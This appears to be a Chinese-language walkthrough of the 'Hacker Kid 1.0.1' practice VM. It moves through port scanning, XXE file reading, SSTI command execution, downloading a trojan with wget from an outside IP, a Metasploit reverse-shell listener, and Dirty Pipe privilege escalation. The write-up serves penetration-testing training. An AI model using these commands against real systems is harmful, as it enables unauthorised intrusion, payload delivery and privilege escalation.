Hacker_Kid-v1.0.1
靶机下载链接:Hacker kid: 1.0.1
一、信息收集
1、主机发现
使用arp-scan
扫描内网主机
2.端口扫描
使用nmap -T4 -sV -p 0-65535 192.168.22.137
进行端口扫描
二、打靶
靶机在 80 9999端口开放了web服务。。在53端口开放了DNS服务
访问web页面
9999端口开放一个登录页面
80端口这边前端源码中说让用GET传参传一个page_no
参数
传入page_no = 1
页面多了一个红字
传入page_no = 21
时给了一个域名
用dig
工具查询DNS信息 并指定DNS服务器为192.168.22.137
得到了一个新的域名
修改一下本地host文件
进入这个地址,是一个注册账号的页面。如果Email不正确会进行回显
数据包是以XXE文档进行传输的,试一下XXE注入
可以进行文件读取
有一个saket
用户,用PHP伪协议去读取.bashrc
文件
为什么要读取.zshrc
文件呢?
1 | .bashrc 文件是一个用于配置 Bash shell 环境的脚本文件,通常位于用户的主目录中。它在用户登录时或者每次打开一个新的终端窗口时执行。这个文件可以用来设置环境变量、别名、函数以及其他一些 shell 的行为。 |
将读取到的东西base64解码一下
9999端口运行的登录框就是用python的flask写的
用得到的账号和密码进行登录用账号admin
密码Saket!#$%@!!
登录进行登录失败
将用户名换成saket
进行登录,成功登录
传入name=1
推测可能存在ssti模板注入漏洞
成功命令执行
存在wget工具
远程下载一个木马wget 39.1*.**.**3/kali/asd -P /tmp
然后赋予木马权限chmod 777 /tmp/asd
在kali上面设置监听
1 | use exploit/multi/handler |
成功拿到shell
对方用的是Ubuntu20.04版本且没用gcc编译器
在本地用docker
拉一个相同的环境,将编译好的攻击脚本下载到靶机上面
这里用脏管道
漏洞进行提权
脏管道
漏洞需要用到具有s权限的文件
用find / -perm -u=s -type f 2>/dev/null
查找具有s权限的文件
成功提权
改一下saket
用户的密码
成功登录系统